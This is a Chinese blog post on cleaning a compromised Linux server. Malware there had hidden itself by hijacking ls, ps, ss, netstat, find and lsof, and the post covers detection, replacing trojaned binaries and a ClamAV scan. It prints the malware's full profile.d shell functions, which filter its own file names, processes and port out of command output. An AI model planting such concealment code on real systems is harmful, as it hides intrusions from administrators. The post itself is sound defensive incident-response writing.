编辑
2025-10-17
问题解决文档
00
请注意,本文编写于 89 天前,最后修改于 85 天前,其中某些信息可能已经过时。

目录

1、案例详情
2、解决方案
2.1 查看 ls ps 命令类型
2.2 查看环境变量 /etc/profile.d 文件
2.3 更换命令文件
2.4 然后可以使用clamav 进行全盘扫描

1、案例详情

服务器发生命令发生异常 ls ps find lsof 等命令出现异常,不能正常过滤文件,导致不能正常查看文件,病毒文件通过篡改命令实现隐藏病毒文件;

2、解决方案

2.1 查看 ls ps 命令类型

​ 查看ls ps 命令类型,看文件是否被篡改

[root@hadoop01 ~]# type ls ls is a function ls () { proc_name=$(/usr/bin/ls $@); proc_name=$(echo "$proc_name" | sed -e '/32675/d'); proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d'); proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d'); proc_name=$(echo "$proc_name" | sed -e '/System.mod/d'); proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d'); proc_name=$(echo "$proc_name" | sed -e '/32675/d'); proc_name=$(echo "$proc_name" | sed -e '/.mod/d'); proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d'); proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d'); proc_name=$(echo "$proc_name" | sed -e '/system-mark/d'); proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d'); proc_name=$(echo "$proc_name" | sed -e '/sleep/d'); proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d'); proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d'); proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d'); echo "$proc_name" } 发现被篡改了,查看可能被篡改的文件 cat /etc/bash.bashrc cat ~/.bash_profile cat ~/.profile 发现都未被篡改

2.2 查看环境变量 /etc/profile.d 文件

​ 通过ls 命令查看不了文件夹内容,使用 cat /etc/profile.d/*.sh 查看到隐藏的篡改文件

[root@hadoop01 profile.d]# cat /etc/profile.d/*.sh #!/bin/bash /etc/profile.d/bash_cfg# shellcheck shell=sh disable=SC1091,SC2039,SC2166 # Check for interactive bash and that we haven't already been sourced. if [ "x${BASH_VERSION-}" != x -a "x${PS1-}" != x -a "x${BASH_COMPLETION_VERSINFO-}" = x ]; then # Check for recent enough version of bash. if [ "${BASH_VERSINFO[0]}" -gt 4 ] || [ "${BASH_VERSINFO[0]}" -eq 4 -a "${BASH_VERSINFO[1]}" -ge 2 ]; then [ -r "${XDG_CONFIG_HOME:-$HOME/.config}/bash_completion" ] && . "${XDG_CONFIG_HOME:-$HOME/.config}/bash_completion" if shopt -q progcomp && [ -r /usr/share/bash-completion/bash_completion ]; then # Source completion code. . /usr/share/bash-completion/bash_completion fi fi fi #FLINK_HOME export FLINK_HOME=/data/software/flink/flink-1.12.7 export PATH=$PATH:$FLINK_HOME/bin #!/bin/bash function ps { proc_name=$(/usr/bin/ps $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; } function ss { proc_name=$(/usr/bin/ss $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; } function netstat { proc_name=$(/usr/bin/netstat $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; } function dir { proc_name=$(/usr/bin/dir $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; } function ls { proc_name=$(/usr/bin/ls $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; } function find { proc_name=$(/usr/bin/find $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; } function lsof { proc_name=$(/usr/bin/lsof $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; } #HADOOP_HOME 通过以上输出 #!/bin/bash function ps { proc_name=$(/usr/bin/ps $@);proc_name=$(echo ,可以发现有隐藏的篡改文件,但是不能被ls看到,因为ls 已被篡改,过滤了病毒文件所以看不到 可以把文件下载到本地电脑,然后查看里面的病毒文件名称,然后在服务器上删除所有非正常文件

2.3 更换命令文件

​ 将/etc/profile.d 的环境变量文件删除之后发现命令还是异常,此时需要查看命令文件是否已经替换;

进入 /usr/bin/ 目录 du -sh ls ps lsof find 发现文件大小异常,正常应该为100K 左右,实际文件为5M 处理方式为 将另一台相同操作系统 命令复制到/usr/bin/ 目录 并赋予权限 chmod +755 /usr/bin/ls //其他命令相同操作

2.4 然后可以使用clamav 进行全盘扫描

部署链接:https://www.xb-love-smx.cn/post/13

本文作者:小白

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!